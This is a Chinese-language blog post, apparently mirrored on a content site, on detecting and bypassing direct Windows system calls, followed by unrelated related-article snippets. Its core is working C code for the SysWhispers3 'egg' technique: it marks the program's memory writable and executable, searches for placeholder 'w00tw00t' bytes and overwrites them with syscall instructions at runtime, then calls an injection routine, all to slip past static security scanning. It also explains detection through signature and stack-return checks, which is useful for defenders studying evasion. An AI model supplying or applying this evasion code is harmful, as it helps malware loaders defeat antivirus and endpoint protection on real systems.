syscall的检测与绕过(下)

syscall的检测与绕过

ntdll中syscall被执行的格式大致

我们可以通过检测mov r10, rcx类似的代码来确定程序是否直接进行系统调用。

但是很容易被bypass

而且还可以写出很多不一样的写法,显然这个方式是不行的。很轻易就会被bypass。

当然也可以检测syscall指令,但是这个指令可以同int 2e中断门进0环的方式绕过,也可以加一个int 2e的规则。

objdump --disassemble -M intel "D:\C++ Project\bypass\syscall\x64\Release\syscall.exe" | findstr "syscall"

syscall也可以不直接写写死在文件种,比如先用垃圾指令写死在文件中,然后在运行的时候对这些垃圾指令进行修改重新为syscall,达到静态绕过的效果。

这也正是SysWhispers3为了规避检测做的升级之一,称为EGG的手段。

可以像这样编写ntapi

这个w00tw00t就是一个垃圾指令,我们将在执行的过程中重新替换为syscall

更改指令代码:

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <psapi.h>#define DEBUG 0HMODULE GetMainModule(HANDLE);
BOOL GetMainModuleInformation(PULONG64, PULONG64);
void FindAndReplace(unsigned char[], unsigned char[]);HMODULE GetMainModule(HANDLE hProcess)
{HMODULE mainModule = NULL;HMODULE* lphModule;LPBYTE lphModuleBytes;DWORD lpcbNeeded;// First call needed to know the space (bytes) required to store the modules' handlesBOOL success = EnumProcessModules(hProcess, NULL, 0, &lpcbNeeded);// We already know that lpcbNeeded is always > 0if (!success || lpcbNeeded == 0){printf("[-] Error enumerating process modules\n");// At this point, we already know we won't be able to dyncamically// place the syscall instruction, so we can exitexit(1);}// Once we got the number of bytes required to store all the handles for// the process' modules, we can allocate space for themlphModuleBytes = (LPBYTE)LocalAlloc(LPTR, lpcbNeeded);if (lphModuleBytes == NULL){printf("[-] Error allocating memory to store process modules handles\n");exit(1);}unsigned int moduleCount;moduleCount = lpcbNeeded / sizeof(HMODULE);lphModule = (HMODULE*)lphModuleBytes;success = EnumProcessModules(hProcess, lphModule, lpcbNeeded, &lpcbNeeded);if (!success){printf("[-] Error enumerating process modules\n");exit(1);}// Finally storing the main modulemainModule = lphModule[0];// Avoid memory leakLocalFree(lphModuleBytes);// Return main modulereturn mainModule;
}BOOL GetMainModuleInformation(PULONG64 startAddress, PULONG64 length)
{HANDLE hProcess = GetCurrentProcess();HMODULE hModule = GetMainModule(hProcess);MODULEINFO mi;GetModuleInformation(hProcess, hModule, &mi, sizeof(mi));printf("Base Address: 0x%llu\n", (ULONG64)mi.lpBaseOfDll);printf("Image Size:   %u\n", (ULONG)mi.SizeOfImage);printf("Entry Point:  0x%llu\n", (ULONG64)mi.EntryPoint);printf("\n");*startAddress = (ULONG64)mi.lpBaseOfDll;*length = (ULONG64)mi.SizeOfImage;DWORD oldProtect;VirtualProtect(mi.lpBaseOfDll, mi.SizeOfImage, PAGE_EXECUTE_READWRITE, &oldProtect);return 0;
}void FindAndReplace(unsigned char egg[], unsigned char replace[])
{ULONG64 startAddress = 0;ULONG64 size = 0;GetMainModuleInformation(&startAddress, &size);if (size <= 0) {printf("[-] Error detecting main module size");exit(1);}ULONG64 currentOffset = 0;unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));size_t nBytesRead;printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);while (currentOffset < size - 8){currentOffset++;LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);if(DEBUG > 0){printf("Searching at 0x%llu\n", (ULONG64)currentAddress);}if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {printf("[-] Error reading from memory\n");exit(1);}if (nBytesRead != 8) {printf("[-] Error reading from memory\n");continue;}if(DEBUG > 0){for (int i = 0; i < nBytesRead; i++){printf("%02x ", current[i]);}printf("\n");}if (memcmp(egg, current, 8) == 0){printf("Found at %llu\n", (ULONG64)currentAddress);WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);}}printf("Ended search at:   0x%llu\n", (ULONG64)startAddress + currentOffset);free(current);
}

inceptor中可以直接调用函数达到替换syscall的作用

int main(int argc, char** argv) {unsigned char egg[] = { 0x77, 0x00, 0x00, 0x74, 0x77, 0x00, 0x00, 0x74 }; // w00tw00tunsigned char replace[] = { 0x0f, 0x05, 0x90, 0x90, 0xC3, 0x90, 0xCC, 0xCC }; // syscall; nop; nop; ret; nop; int3; int3//####SELF_TAMPERING####(egg, replace);Inject();return 0;
}

但是这样依然很容易被检测,原因是有了更加准确的检测方式。

那就是通过栈回溯。

当你正常的程序使用系统调用的时候。

此时你的流程是主程序模块->kernel32.dll->ntdll.dll->syscall,这样当0环执行结束返回3环的时候,这个返回地址应该是在ntdll所在的地址范围之内。

那么如果是你自己直接进行系统调用。

此时当ring0返回的时候,rip将会是你的主程序模块内,而并不是在ntdll所在的范围内,这点是很容易被检测也是比较准确的一种检测方式。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/815872.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

UDTF函数 explode

场景&#xff1a; 原hive数据形式 split 处理到一个Array 形式 使用explode炸开后的效果是 explode结合侧面视图达到targeType 目标形式&#xff1a; 一进多出 explode 将hive 中复杂的 array 炸成多行 因为炸开后&#xff0c; movie 列值少于categoryname 列所以这里为了达到…

朴素模式匹配算法

什么是字符串的模式匹配&#xff1f; 字符串模式匹配:在主串中找到与模式串相同的字串&#xff0c;并返回其所在位置 算法思想&#xff1a; 算法思想为:从主串S的第一个字符起&#xff0c;与模式串T的第一个字符比较,若相等&#xff0c;则继续逐个比较后续字符;否则从主串的下一…

Windows环境下删除MySQL

文章目录 一、关闭MySQL服务1、winR打开运行&#xff0c;输入services.msc回车2、服务里找到MySQL并停止 二、卸载MySQL软件1、打开控制模板--卸载程序--卸载MySQL相关的所有组件 三、删除MySQL在物理硬盘上的所有文件1、删除MySQL的安装目录&#xff08;默认在C盘下的Program …

多线程代码案例之阻塞队列

目录 1.生产者消费者模型 2.使用标准库中的阻塞队列 3.模拟实现阻塞队列 在介绍阻塞队列之前&#xff0c;会先介绍一些前置知识&#xff0c;像队列&#xff1a;有普通队列、优先级队列、阻塞队列、和消息队列。前面两个是线程不安全的&#xff0c;而后面两个是线程安全的。本…

全栈的自我修养 ———— react实现滑动验证

实现滑动验证 展示依赖实现不借助create-puzzle借助create-puzzle 展示 依赖 npm install rc-slider-captcha npm install create-puzzleapi地址 实现 不借助create-puzzle 需要准备两张图片一个是核验图形&#xff0c;一个是原图------> 这个方法小编试了后感觉比较麻烦…

【七 (1)FineBI FCP模拟试卷-股票收盘价分析】

目录 文章导航一、字段解释二、需求三、操作步骤1、添加计算字段&#xff08;每月最后一天的收盘价&#xff09;2、绘制折线图 文章导航 【一 简明数据分析进阶路径介绍&#xff08;文章导航&#xff09;】 一、字段解释 Company Name&#xff1a;公司名称 Date&#xff1a;…

【vue】绑定事件 v-on

v-on 简写&#xff1a; clickkeyupkeydownkeyup.wkeyup.ctrl.a <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><…

今天掏心窝子!聊聊35岁了程序员何去何从?

今天的内容不聊技术&#xff0c;聊聊轻松的话题&#xff0c;脑子高速转了好几周&#xff0c;停下来思考一下人生…… 不对&#xff0c;关于35岁的问题好像也不轻松&#xff0c;些许有点沉重&#xff0c;反正不是技术&#xff0c;不用高速转动脑细胞了&#xff0c;哈哈。 兄弟…

策略模式【行为模式C++】

1.概述 策略模式是一种行为设计模式&#xff0c; 它能让你定义一系列算法&#xff0c; 并将每种算法分别放入独立的类中&#xff0c; 以使算法的对象能够相互替换。 策略模式通常应用于需要多种算法进行操作的场景&#xff0c;如排序、搜索、数据压缩等。在这些情况下&#x…

Pandas相比Excel的优势是哪些?

熟悉Pandas的同学会知道&#xff0c;Pandas相当于Python中的Excel&#xff0c;都是基于二维表的进行数据处理分析&#xff0c;不同的是&#xff0c;Pandas基于代码操作数据&#xff0c;Excel是图形化的分析工具。 不少人会问Excel比Pandas更简单&#xff0c;为什么还要学习Pan…

wangEditor 测试环境对,但是生产环境无法显示

package.json 文件版本 "wangeditor": "4.3.0"开发环境 new Editor(#${this.id});出来的数据 正式环境 new Editor(#${this.id});出来的数据 原因&#xff1a; vue.config 文件 打包策略的时候 const assetsCDN {css: [https://lf6-cdn-tos.bytecd…

算法1: 素数个数统计

统计n以内的素数个数 素数&#xff1a;只能被1和自身整除的自然数&#xff0c;0和1除外&#xff1b; 举例&#xff1a; 输入&#xff1a;100 输出&#xff1a;25 import java.util.*; class Test1{public static void main(String[] args){int a 100; //输入数字//…

AI来了,Spring还会远吗?(Spring AI初体验)

目录 一、创建项目二、first demo1、application.properties2、ChatController3、结果 三、个人思考 一、创建项目 官方文档的Getting Started 最低要求&#xff1a;JDK17 阿里云的Server URL&#xff08;https://start.aliyun.com/&#xff09;搜不到Spring AI&#xff0c;…

FMix: Enhancing Mixed Sample Data Augmentation 论文阅读

1 Abstract 近年来&#xff0c;混合样本数据增强&#xff08;Mixed Sample Data Augmentation&#xff0c;MSDA&#xff09;受到了越来越多的关注&#xff0c;出现了许多成功的变体&#xff0c;例如MixUp和CutMix。通过研究VAE在原始数据和增强数据上学习到的函数之间的互信息…

缓存与数据库的数据一致性解决方案分析

在现代应用中&#xff0c;缓存技术的使用广泛且至关重要&#xff0c;主要是为了提高数据访问速度和优化系统整体性能。缓存通过在内存或更快速的存储系统中存储经常访问的数据副本&#xff0c;使得数据检索变得迅速&#xff0c;从而避免了每次请求都需要从较慢的主存储&#xf…

中国移动传关停8元保号套餐?或是5G成本带来的压力所致

日前有网友发现希望使用中国移动的保号套餐&#xff0c;却发现已无法办理&#xff0c;媒体对此多有报道&#xff0c;这意味着中国移动的套餐业务发生了重大变动&#xff0c;如此做或许在于5G成本上涨带来的压力促使它不得不提高套餐的门槛。 中国移动已建成最多的5G基站&#x…

服务器主机关机重启告警

提取时间段内系统操作命名&#xff0c;出现系统重启命令&#xff0c;若要出现及时联系确认 重启命令&#xff1a; reboot / init 6 / shutdown -r now&#xff08;现在重启命令&#xff09; 关机命令&#xff1a; init 0 / shutdown -h now&#xff08;关机&#…

uniCloud联表查询方式举例

联查表&#xff1a; 1. 在shema中配置外键&#xff1a; 2.在前端使用&#xff1a; <unicloud-db v-slot:default"{data, loading, error, options}" :options"formData" collection"opendb-news-articles,uni-id-users" //这里这么写 fi…

数据可视化高级技术Echarts(堆叠柱状图)

目录 一.如何实现 二.代码展示 1.stack名称相同&#xff08;直接堆叠&#xff09; 2. stack名称不相同&#xff08;相同的堆叠&#xff0c;不同的新生成一列&#xff09; 一.如何实现 数据堆叠&#xff0c;同个类目轴上系列配置相同的 stack 值可以堆叠放置。即在series中…

【示例】MySQL-4类SQL语言-DDL-DML-DQL-DCL

前言 本文主要讲述MySQL中4中SQL语言的使用及各自特点。 SQL语言总共分四类&#xff1a;DDL、DML、DQL、DCL。 SQL-DDL | Data Definition Language 数据定义语言&#xff1a;用来定义/更改数据库对象&#xff08;数据库、表、字段&#xff09; 用途 | 操作数据库 # 查询所…